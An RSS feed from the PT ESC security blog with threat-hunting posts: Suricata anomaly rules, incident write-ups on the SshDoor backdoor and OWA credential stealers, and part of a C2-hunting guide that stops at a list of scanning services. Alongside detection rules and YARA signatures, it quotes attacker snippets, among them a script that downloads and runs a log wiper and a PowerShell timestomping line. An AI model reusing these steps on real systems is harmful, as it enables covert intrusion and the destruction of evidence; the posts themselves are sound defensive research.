<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>hunt &#8211; PT ESC</title>
	<atom:link href="https://ptesc.tech/en/tag/hunt/feed/" rel="self" type="application/rss+xml" />
	<link>https://ptesc.tech/en/</link>
	<description></description>
	<lastBuildDate>Wed, 30 Sep 2026 19:22:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1.4</generator>

<image>
	<url>https://ptesc.tech/wp-content/uploads/2026/09/cropped-cropped-large_icon-32x32.png</url>
	<title>hunt &#8211; PT ESC</title>
	<link>https://ptesc.tech/en/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>How to create rules for network traffic for a future threat</title>
		<link>https://ptesc.tech/en/how-to-create-rules-for-network-traffic-for-a-future-threat/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Fri, 26 Sep 2025 16:03:27 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[detect]]></category>
		<category><![CDATA[hunt]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[rules]]></category>
		<category><![CDATA[suricata]]></category>
		<guid isPermaLink="false">https://ptesc.tech/%d0%ba%d0%b0%d0%ba-%d1%81%d0%be%d0%b7%d0%b4%d0%b0%d1%82%d1%8c-%d0%bf%d1%80%d0%b0%d0%b2%d0%b8%d0%bb%d0%b0-%d0%b4%d0%bb%d1%8f-%d1%81%d0%b5%d1%82%d0%b5%d0%b2%d0%be%d0%b3%d0%be-%d1%82%d1%80%d0%b0%d1%84/</guid>

					<description><![CDATA[How to create rules for network traffic to address a future threat 🤨 This was discussed this week in China during the third cybersecurity summit, which included the sixth international antivirus conference, shared Ksenia Naumova, a senior s…]]></description>
										<content:encoded><![CDATA[<p><strong>How to create rules for network traffic to address a future threat </strong><strong>🤨</strong></p>
<p>This was discussed this week in China during the third cybersecurity summit, which included the sixth international antivirus conference, <a href="https://t.me/Positive_Technologies/3790" rel="noopener" target="_blank">shared</a> <strong>Ksenia Naumova</strong>, a senior specialist in the network expertise department of the PT ESC antivirus laboratory. In the channel, we share details from the report 🍸</p>
<p>A fairly significant part of a network traffic analyst&#8217;s work in malware analysis involves writing detection signature logic to identify specific malware samples in network traffic. </p>
<p>Exact signatures have one undeniable advantage — they catch exactly the malicious samples they were written for, but this is also their main weakness: even a slight change to any component of network interaction causes the rules to stop triggering.</p>
<p>We decided that this ailment can safely be turned into an advantage: signatures can catch not only exact malware but also the anomalous behavior that these samples generate.</p>
<p><strong>What can constitute the anomaly we&#8217;re interested in?</strong></p>
<p>➡️ Unusual packet sizes;<br />
➡️ unknown protocols;<br />
➡️ suspicious DNS queries / suspicious TLDs in DNS;<br />
➡️ traffic spikes / delays;<br />
➡️ RFC violations;<br />
➡️ use of obfuscation, encoding, encryption;<br />
➡️ and much more…</p>
<p>We conducted a brief analysis of existing anomaly detection rules in the open-source Emerging Threats signature set — HUNTING (<em>screenshot 1</em>):</p>
<p>➡️ ~510 rules for XOR encryption of HTTP requests;<br />
➡️ ~50 rules for Base64-encoded data;<br />
➡️ ~50 rules for suspicious TLDs in DNS;<br />
➡️ rules for content in ZIP, exfiltration, etc.</p>
<p><strong>A telling example of a successful hunting rule:</strong></p>
<pre><code>alert http $HOME_NET any -&gt; $EXTERNAL_NET any (sid: 2027117; msg:&quot;ET HUNTING Suspicious POST with Common Windows Process Names - Possible Process List Exfiltration&quot;; flow:established,to_server; http.method; content:&quot;POST&quot;; http.request_body; content:&quot;csrss.exe&quot;; content:&quot;explorer.exe&quot;; fast_pattern; content:&quot;svchost.exe&quot;; content:&quot;lsass.exe&quot;; ...)
</code></pre>
<p>And <em>screenshot 2</em> shows an example of such suspicious traffic.</p>
<p>However, anomalies can be hunted not only with open rules but also independently — for example, RFC violations, specifically RFC 2616, which defines the HTTP protocol (<em>screenshot 3</em>). You can search for HTTP requests whose Referer header doesn&#8217;t contain a scheme:</p>
<pre><code>alert http any any -&gt; any any (msg: &quot;SUSPICIOUS [PTsecurity] HTTP header Referer RFC2616 violation&quot;; flow: established, to_server; content: &quot;Referer|3a|&quot;; http_header; content: !&quot;Referer|3a 20|http&quot;; http_header; ...)
</code></pre>
<p>The backdoor <code>EAGERBEE</code> and other interesting samples made their way into our networks (<em>screenshot 4</em>).</p>
<p>Or, for example, you can search for a simple <code>PING</code> command inside <code>GZIP</code> (<em>screenshot 5</em>):</p>
<pre><code>alert tcp any any -&gt; any any (msg: &quot;SUSPICIOUS [PTsecurity] Generic Ping command inside Gzip&quot;; flow: established, to_server; content: &quot;|1f 8b 08 00 00 00 00 00 04 00 0b c8 cc 4b 07 00 c3 92 e7 85 04 00 00 00|&quot;; ...)
</code></pre>
<p>Based on the triggered alerts and further research, <code>SheetRAT</code> and <code>zgRAT</code> made their way to us (<em>screenshot 6</em>).</p>
<p>But the main idea captured in the report is the use of correlating their triggers. Correlation of triggers is not a new concept, but in the context of network traffic it is still rarely applied; sometimes people go for more complex protection implementations and forget about simple yet effective approaches.</p>
<p><strong>🫵 The conclusions are simple:</strong> generic rules, especially when correlated with each other, can significantly help in detecting both long-known and completely new threats that nobody knows about yet. You can use open network signature sets — ET Open, <a href="https://rules.ptsecurity.com/" rel="noopener" target="_blank">PT Open</a>, or you can confidently write your own.</p>
<p>Happy hunting!</p>
<figure class="wp-block-image"><img width="1024" height="590" src="https://ptesc.tech/wp-content/uploads/2025/09/photo_382@26-09-2025_16-03-27-1024x590.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/09/photo_382@26-09-2025_16-03-27-1024x590.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/09/photo_382@26-09-2025_16-03-27-300x173.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/09/photo_382@26-09-2025_16-03-27-768x443.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/09/photo_382@26-09-2025_16-03-27.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="590" src="https://ptesc.tech/wp-content/uploads/2025/09/photo_383@26-09-2025_16-03-28-1024x590.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/09/photo_383@26-09-2025_16-03-28-1024x590.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/09/photo_383@26-09-2025_16-03-28-300x173.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/09/photo_383@26-09-2025_16-03-28-768x443.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/09/photo_383@26-09-2025_16-03-28.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="590" src="https://ptesc.tech/wp-content/uploads/2025/09/photo_384@26-09-2025_16-03-28-1024x590.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/09/photo_384@26-09-2025_16-03-28-1024x590.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/09/photo_384@26-09-2025_16-03-28-300x173.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/09/photo_384@26-09-2025_16-03-28-768x443.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/09/photo_384@26-09-2025_16-03-28.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="590" src="https://ptesc.tech/wp-content/uploads/2025/09/photo_385@26-09-2025_16-03-28-1024x590.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/09/photo_385@26-09-2025_16-03-28-1024x590.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/09/photo_385@26-09-2025_16-03-28-300x173.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/09/photo_385@26-09-2025_16-03-28-768x443.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/09/photo_385@26-09-2025_16-03-28.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="590" src="https://ptesc.tech/wp-content/uploads/2025/09/photo_386@26-09-2025_16-03-28-1024x590.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/09/photo_386@26-09-2025_16-03-28-1024x590.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/09/photo_386@26-09-2025_16-03-28-300x173.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/09/photo_386@26-09-2025_16-03-28-768x443.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/09/photo_386@26-09-2025_16-03-28.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p><span class="hashtag">#suricata</span> <span class="hashtag">#network</span> <span class="hashtag">#signature</span> <span class="hashtag">#rules</span> <span class="hashtag">#hunt</span> <span class="hashtag">#detect</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>(Ex)Cobalt == (Ex)Carbanak</title>
		<link>https://ptesc.tech/en/excobalt-excarbanak/</link>
		
		<dc:creator><![CDATA[oUth0R]]></dc:creator>
		<pubDate>Mon, 21 Apr 2025 12:26:07 +0000</pubDate>
				<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[APT]]></category>
		<category><![CDATA[detect]]></category>
		<category><![CDATA[dfir]]></category>
		<category><![CDATA[hunt]]></category>
		<category><![CDATA[ioc]]></category>
		<category><![CDATA[TI]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[yara]]></category>
		<guid isPermaLink="false">http://localhost:8080/excobalt-excarbanak/</guid>

					<description><![CDATA[(Ex)Cobalt == (Ex)Carbanak 🤔 Since the beginning of 2025, the PT ESC team has observed a rise in the number of attacks using the SshDoor backdoor. Russian government institutions are often the focus of such attacks. After gaining access to…]]></description>
										<content:encoded><![CDATA[<strong>(Ex)Cobalt == (Ex)Carbanak</strong> 🤔<br />
<br />
Since the beginning of 2025, the <strong>PT ESC</strong> team has observed a rise in the number of attacks using the <code>SshDoor</code> backdoor. Russian government institutions are often the focus of such attacks.<br />
<br />
After gaining access to victim nodes, the attackers launch the sh script <code>Release.gz</code> (<em>screenshot 1</em>), which among other things downloads the encrypted <code>OpenSSL</code> file <code>main.jpg</code> (<em>screenshot 2</em>).<br />
<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">file ./main.jpg
./main.jpg: openssl enc'd data with salted password
</code></span></pre><br />
<br />
Command to decrypt the file:<br />
<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">openssl aes-256-cbc -md sha256 -d -in $ARCHIVE_NAME -out tmp.tar.gz -k $ZIP_PASS
</code></span></pre><br />
<br />
Then a patched <code>sshd</code> is compiled on the compromised node and the <code>sshd</code> service is restarted.<br />
<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">...
make -j4&gt;&gt; /dev/null &amp;&amp; 
strip ssh sshd &amp;&amp;
make install
...
service sshd restart
</code></span></pre><br />
<br />
The patched <code>sshd</code> (<em>screenshot 3</em>) has a number of similarities with the <code>SshDoor</code> backdoor, which was described in the materials <a href="https://www.welivesecurity.com/2013/01/24/linux-sshdoor-a-backdoored-ssh-daemon-that-steals-passwords/" rel="noopener" target="_blank">Linux/SSHDoor.A Backdoored SSH daemon that steals passwords </a>(2013) and <a href="https://archive.orkl.eu/3b669818816e3d888b2546bc75ac0f44782f7faf.pdf" rel="noopener" target="_blank">Inside the Response of a Unique CARBANAK Intrusion</a> (2017).<br />
<br />
Overall, the functionality of the <code>SshDoor</code> we discovered has not undergone significant changes. The backdoor allows an attacker to gain covert access to a compromised server via the SSH protocol using a key or password specified in a configuration file or in the backdoor&#8217;s own code. The backdoor also collects and sends user authentication data to a remote server.<br />
<br />
In the material <code>Inside the Response of a Unique CARBANAK Intrusion</code>, researchers linked this sample to the APT group <code>Carbanak</code>, which <a href="https://securelist.ru/bolshoe-bankovskoe-ograblenie-apt-kampaniya-carbanak/25106/" rel="noopener" target="_blank">successfully attacked banking organizations in 2015</a>.<br />
<br />
The attacking group&#8217;s arsenal also includes the utility <code>A D V A N C E D  L O G W I P E R (ALW)</code> (<em>screenshot 4</em>), which is compiled on the victim&#8217;s node and deletes from a number of logs in <code>/var/log/*</code> (<em>screenshot 5</em>) all entries that contain the attackers&#8217; IP address (<code>$YOUR_IP</code>).<br />
<br />
<pre class="wp-block-code"><span><code lang="bash" class="hljs language-bash language-bash"><span class="hljs-comment">#------------------------Clean logs-------------------------------------</span>
<span class="hljs-keyword">if</span> <span class="hljs-built_in">which</span> gcc &gt;/dev/null 2&gt;&amp;1 ; <span class="hljs-keyword">then</span>
    <span class="hljs-variable">$DOWNLOADER</span> <span class="hljs-variable">$LOG_CLEANER</span>; gcc log.c -o <span class="hljs-built_in">log</span>; ./<span class="hljs-built_in">log</span> -h <span class="hljs-variable">$YOUR_IP</span>;rm -f <span class="hljs-built_in">log</span> log.c;
<span class="hljs-keyword">else</span>
    PACKET_MANAGER=<span class="hljs-variable">$PACKET_MANAGER</span><span class="hljs-string">" gcc"</span>;
    <span class="hljs-variable">$PACKET_MANAGER</span> &amp;&amp; <span class="hljs-variable">$DOWNLOADER</span> <span class="hljs-variable">$LOG_CLEANER</span>; gcc log.c -o <span class="hljs-built_in">log</span>; ./<span class="hljs-built_in">log</span> -h <span class="hljs-variable">$YOUR_IP</span>;rm -f <span class="hljs-built_in">log</span> log.c;
<span class="hljs-keyword">fi</span>
</code></span></pre><br />
<br />
Notably, the <code>RSA Global Incident Response</code> team in its material also attributes <code>ALW</code> to the activity of the <code>Carbanak</code> group.<br />
<br />
<strong>Configuration files:</strong><br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">/var/run/.options
/dev/shm/.options
</code></span></pre><br />
<br />
<strong>C2:</strong><br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">cdn2-os.pythonupdate.com
centos.pythonupdate.com
pkg.pkg-pfsense.org
</code></span></pre><br />
<br />
<strong>MD5:</strong><br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">016bd8119efd5fae482131464ff1dfde
eec5d0c3fc2b1b1074c3648e26d1fe08
0689b1e75241f93b43cd2af0c2f10217
</code></span></pre><br />
<br />
<strong>YARA:</strong><br />
<pre class="wp-block-code"><span><code lang="powershell" class="hljs language-powershell language-powershell">rule SshDoor {
    strings:
        <span class="hljs-variable">$spy1</span> = <span class="hljs-string">"SPY_PATH"</span>
        <span class="hljs-variable">$spy2</span> = <span class="hljs-string">"SPY_PORT"</span>
        <span class="hljs-variable">$spy3</span> = <span class="hljs-string">"SPY_HOST"</span>
        <span class="hljs-variable">$spy4</span> = <span class="hljs-string">"spy_passwd"</span>
        <span class="hljs-variable">$spy5</span> = <span class="hljs-string">"spy_master"</span>
        <span class="hljs-variable">$spy6</span> = <span class="hljs-string">"spy_bc_addr"</span>
        <span class="hljs-variable">$spy7</span> = <span class="hljs-string">"spy_buff"</span>
        <span class="hljs-variable">$spy8</span> = <span class="hljs-string">"spy_addr"</span>
        <span class="hljs-variable">$spy9</span> = <span class="hljs-string">"spy_buff_port"</span>
        <span class="hljs-variable">$sshd</span> = <span class="hljs-string">"usage: sshd"</span>
    condition:
        uint32be(<span class="hljs-number">0</span>) == <span class="hljs-number">0</span>x7f454c46 and <span class="hljs-variable">$sshd</span> and (any of (<span class="hljs-variable">$spy</span>*))
}
</code></span></pre><br />
<br />
<strong>Happy hunting!</strong>

<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2025/04/photo_276@21-04-2025_12-26-07-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/04/photo_276@21-04-2025_12-26-07-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/04/photo_276@21-04-2025_12-26-07-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/04/photo_276@21-04-2025_12-26-07-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2025/04/photo_276@21-04-2025_12-26-07-768x769.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/04/photo_276@21-04-2025_12-26-07.jpg 1279w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="809" height="1024" src="https://ptesc.tech/wp-content/uploads/2025/04/photo_277@21-04-2025_12-26-07-809x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/04/photo_277@21-04-2025_12-26-07-809x1024.jpg 809w, https://ptesc.tech/wp-content/uploads/2025/04/photo_277@21-04-2025_12-26-07-237x300.jpg 237w, https://ptesc.tech/wp-content/uploads/2025/04/photo_277@21-04-2025_12-26-07-768x972.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/04/photo_277@21-04-2025_12-26-07.jpg 1011w" sizes="auto, (max-width: 809px) 100vw, 809px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2025/04/photo_278@21-04-2025_12-26-07-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/04/photo_278@21-04-2025_12-26-07-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/04/photo_278@21-04-2025_12-26-07-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/04/photo_278@21-04-2025_12-26-07-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2025/04/photo_278@21-04-2025_12-26-07-768x769.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/04/photo_278@21-04-2025_12-26-07.jpg 1279w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2025/04/photo_279@21-04-2025_12-26-07-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/04/photo_279@21-04-2025_12-26-07-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/04/photo_279@21-04-2025_12-26-07-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/04/photo_279@21-04-2025_12-26-07-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2025/04/photo_279@21-04-2025_12-26-07-768x769.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/04/photo_279@21-04-2025_12-26-07.jpg 1279w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>

<br />
<br />
<span class="hashtag">#hunt</span> <span class="hashtag">#ti</span> <span class="hashtag">#ioc</span> <span class="hashtag">#yara</span> <span class="hashtag">#dfir</span> <span class="hashtag">#detect</span> <span class="hashtag">#unix</span> <span class="hashtag">#apt</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>A complex password won&#039;t help</title>
		<link>https://ptesc.tech/en/a-complex-password-wont-help/</link>
		
		<dc:creator><![CDATA[oUth0R]]></dc:creator>
		<pubDate>Mon, 17 Mar 2025 15:01:05 +0000</pubDate>
				<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[detect]]></category>
		<category><![CDATA[dfir]]></category>
		<category><![CDATA[hunt]]></category>
		<category><![CDATA[ir]]></category>
		<category><![CDATA[win]]></category>
		<category><![CDATA[yara]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d1%81%d0%bb%d0%be%d0%b6%d0%bd%d1%8b%d0%b9-%d0%bf%d0%b0%d1%80%d0%be%d0%bb%d1%8c-%d0%bd%d0%b5-%d0%bf%d0%be%d0%bc%d0%be%d0%b6%d0%b5%d1%82/</guid>

					<description><![CDATA[A complex password won't help 📮 The practice of the PT ESC IR information security incident response team shows that attackers, upon gaining access to companies' infrastructure, sometimes embed additional account stealers on the mail server…]]></description>
										<content:encoded><![CDATA[<strong>A complex password won&#8217;t help</strong> 📮<br />
<br />
The practice of the PT ESC IR information security incident response team shows that attackers, upon gaining access to companies&#8217; infrastructure, sometimes embed additional account stealers on the mail server in addition to classic backdoors and tunnels. We already <a href="https://www.ptsecurity.com/ru-ru/research/pt-esc-threat-intelligence/ehksperty-positive-technologies-obnaruzhili-seriyu-atak-cherez-microsoft-exchange-server/?utm_source=tg_escalator&#038;utm_medium=mail&#038;utm_campaign=14_03" rel="noopener" target="_blank">reported</a> on similar malware last year.<br />
<br />
For example, during an attack, attackers may gain access to a Microsoft Exchange Server mail server and edit the file <code>C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\XX.X.XXXX\scripts\premium\flogon.js</code>, which is an inline script for the main authentication page <code>logon.aspx</code> on OWA (Outlook Web Access).<br />
<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">&lt;%= InlineJavascript("flogon.js") %&gt;
</code></span></pre><br />
<br />
Attackers typically use basic anti-forensic methods, backdating the timestamps of modified files.<br />
<br />
<pre class="wp-block-code"><span><code lang="powershell" class="hljs language-powershell language-powershell"><span class="hljs-variable">$path</span>=<span class="hljs-string">".\flogon.js"</span>;<span class="hljs-variable">$time</span> = <span class="hljs-string">"2020-01-02 07:24:31"</span>;(<span class="hljs-built_in">Get-Item</span> <span class="hljs-variable">$path</span>).LastWriteTime = <span class="hljs-variable">$time</span>;(<span class="hljs-built_in">Get-Item</span> <span class="hljs-variable">$path</span>).CreationTime = <span class="hljs-variable">$time</span>;(<span class="hljs-built_in">Get-Item</span> <span class="hljs-variable">$path</span>).LastAccessTime = <span class="hljs-variable">$time</span>`
</code></span></pre><br />
<br />
As a rule, attackers modify the <code>clkLgn</code> function, which is the login button handler. They add malicious code to the function that intercepts in plaintext all account credentials (usernames and passwords) entered by users when authenticating to OWA.<br />
<br />
<strong>Let&#8217;s look at two recent examples:</strong><br />
<br />
1️⃣ In the <code>clkLgn</code> function, a URL of the format <code>https://[REDACTED]/?key1=smthuser&amp;key2=smthpassword</code> is generated, where <code>smthuser</code> is the username and <code>smthpassword</code> is the password of the intercepted account, and a GET request is sent to the command-and-control server (screenshots 1, 2).<br />
<br />
2️⃣ In another incident, attackers first added an additional script <code>check.aspx</code> to the server, whose task was to write the intercepted credentials to a log <code>log.png</code> on disk. Attackers could access the log from the internet. <br />
<br />
Credential interception, as in the first example, was carried out by a modified <code>clkLgn</code> function, into whose code a new function <code>chklogin</code> was added, which in turn called <code>chk</code>, inside which a URL <code>./check.aspx?c=&quot;smthuser-smthpassword</code> was generated with the intercepted credentials in the &#8220;c&#8221; parameter, and a GET request was made to the <code>check.aspx</code> script (screenshots 3, 4).<br />
<br />
👀 Example of the <code>log.png</code> log:<br />
<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">smthuser-
smthpassword#20250304090723
</code></span></pre><br />
<br />
<strong>YARA:</strong><br />
<br />
<pre class="wp-block-code"><span><code lang="powershell" class="hljs language-powershell language-powershell">rule PTESC_tool_win_ZZ_clkLgnStealer__Stealer{
  strings:
    <span class="hljs-variable">$s1</span> = <span class="hljs-string">"//  flogon.js"</span> 
    <span class="hljs-variable">$s2</span> = <span class="hljs-string">"(\"</span>username\<span class="hljs-string">").value"</span>
    <span class="hljs-variable">$s3</span> = <span class="hljs-string">"(\"</span>password\<span class="hljs-string">").value"</span>
    <span class="hljs-variable">$s4</span> = <span class="hljs-string">"function clkLgn()"</span> 
    <span class="hljs-variable">$s5</span> = <span class="hljs-string">".send()"</span> 
  condition:
    all of them and filesize &lt; <span class="hljs-number">20</span>KB
}
</code></span></pre><br />
<br />
<strong>Happy hunting!</strong>

<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2025/03/photo_231@17-03-2025_15-01-06-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/03/photo_231@17-03-2025_15-01-06-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/03/photo_231@17-03-2025_15-01-06-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/03/photo_231@17-03-2025_15-01-06-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2025/03/photo_231@17-03-2025_15-01-06-768x767.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/03/photo_231@17-03-2025_15-01-06.jpg 1199w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2025/03/photo_232@17-03-2025_15-01-06-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/03/photo_232@17-03-2025_15-01-06-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/03/photo_232@17-03-2025_15-01-06-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/03/photo_232@17-03-2025_15-01-06-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2025/03/photo_232@17-03-2025_15-01-06-768x767.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/03/photo_232@17-03-2025_15-01-06.jpg 1199w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2025/03/photo_233@17-03-2025_15-01-06-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/03/photo_233@17-03-2025_15-01-06-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/03/photo_233@17-03-2025_15-01-06-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/03/photo_233@17-03-2025_15-01-06-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2025/03/photo_233@17-03-2025_15-01-06-768x767.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/03/photo_233@17-03-2025_15-01-06.jpg 1199w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>

<br />
<br />
<span class="hashtag">#ir</span> <span class="hashtag">#hunt</span> <span class="hashtag">#yara</span> <span class="hashtag">#dfir</span> <span class="hashtag">#detect</span> <span class="hashtag">#win</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>C2 hunting: part 2.</title>
		<link>https://ptesc.tech/en/c2-hunting-part-2/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Mon, 17 Feb 2025 16:33:55 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[C2]]></category>
		<category><![CDATA[hunt]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[TI]]></category>
		<category><![CDATA[tips]]></category>
		<guid isPermaLink="false">http://localhost:8080/c2-hunting-%d1%87%d0%b0%d1%81%d1%82%d1%8c-2/</guid>

					<description><![CDATA[C2 hunting: part 2. Hunting for hacker servers by external signs 😁 In the previous part, we talked about how to expand knowledge about hackers' infrastructure using PDNS and Whois. Today we'll discuss how to find hacker servers not only whe…]]></description>
										<content:encoded><![CDATA[<p><strong>C2 hunting: part 2. </strong>Hunting for hacker servers by external signs 😁</p>
<p>In the <a href="https://t.me/ptescalator/78" rel="noopener" target="_blank">previous part</a>, we talked about how to expand knowledge about hackers&#8217; infrastructure using PDNS and Whois.</p>
<p>Today we&#8217;ll discuss how to find hacker servers not only when they have already started using their infrastructure in attacks, but also at the moment of its deployment.</p>
<p>Right before an attack, hackers typically prepare their tooling and network infrastructure. In threat models, this stage is usually called <a href="https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html" rel="noopener" target="_blank">weaponization</a> or <a href="https://attack.mitre.org/tactics/TA0042/" rel="noopener" target="_blank">resource development.</a></p>
<p>Almost any malware has, in one form or another, a mechanism for communicating with C2. The C2 itself has a number of characteristics that can be obtained by scanning it or simply connecting to a specific port, such as 443. This way, we will most likely obtain the TLS certificate parameters, TLS connection parameters, server response headers, and web page content. </p>
<p>Accordingly, by analyzing hackers&#8217; malware and examining their network infrastructure, we will have an understanding of the unique characteristics they use on their C2 for specific malware, which will allow us in some cases to detect their C2 at the moment of deploying network infrastructure for an attack and preemptively block these indicators on security tools.</p>
<p><strong>List of the most popular characteristics that can be used to identify C2:</strong></p>
<p>✅ TLS certificate parameters<br />
✅ TLS connection parameters (JA3, JA4, JARM, etc.)<br />
✅ Response headers from the server<br />
✅ Page content and title<br />
✅ Set of open ports<br />
✅ Favicon</p>
<p>You can always narrow down your search by specifying ASN, hoster, or country.</p>
<p><strong>List of services that will help you search for C2 this way:</strong></p>
<p>✅ Shodan<br />
✅ Censys<br />
✅ FOFA<br />
✅ ZoomEye<br />
✅ BinaryEdge<br />
✅ Netlas<br />
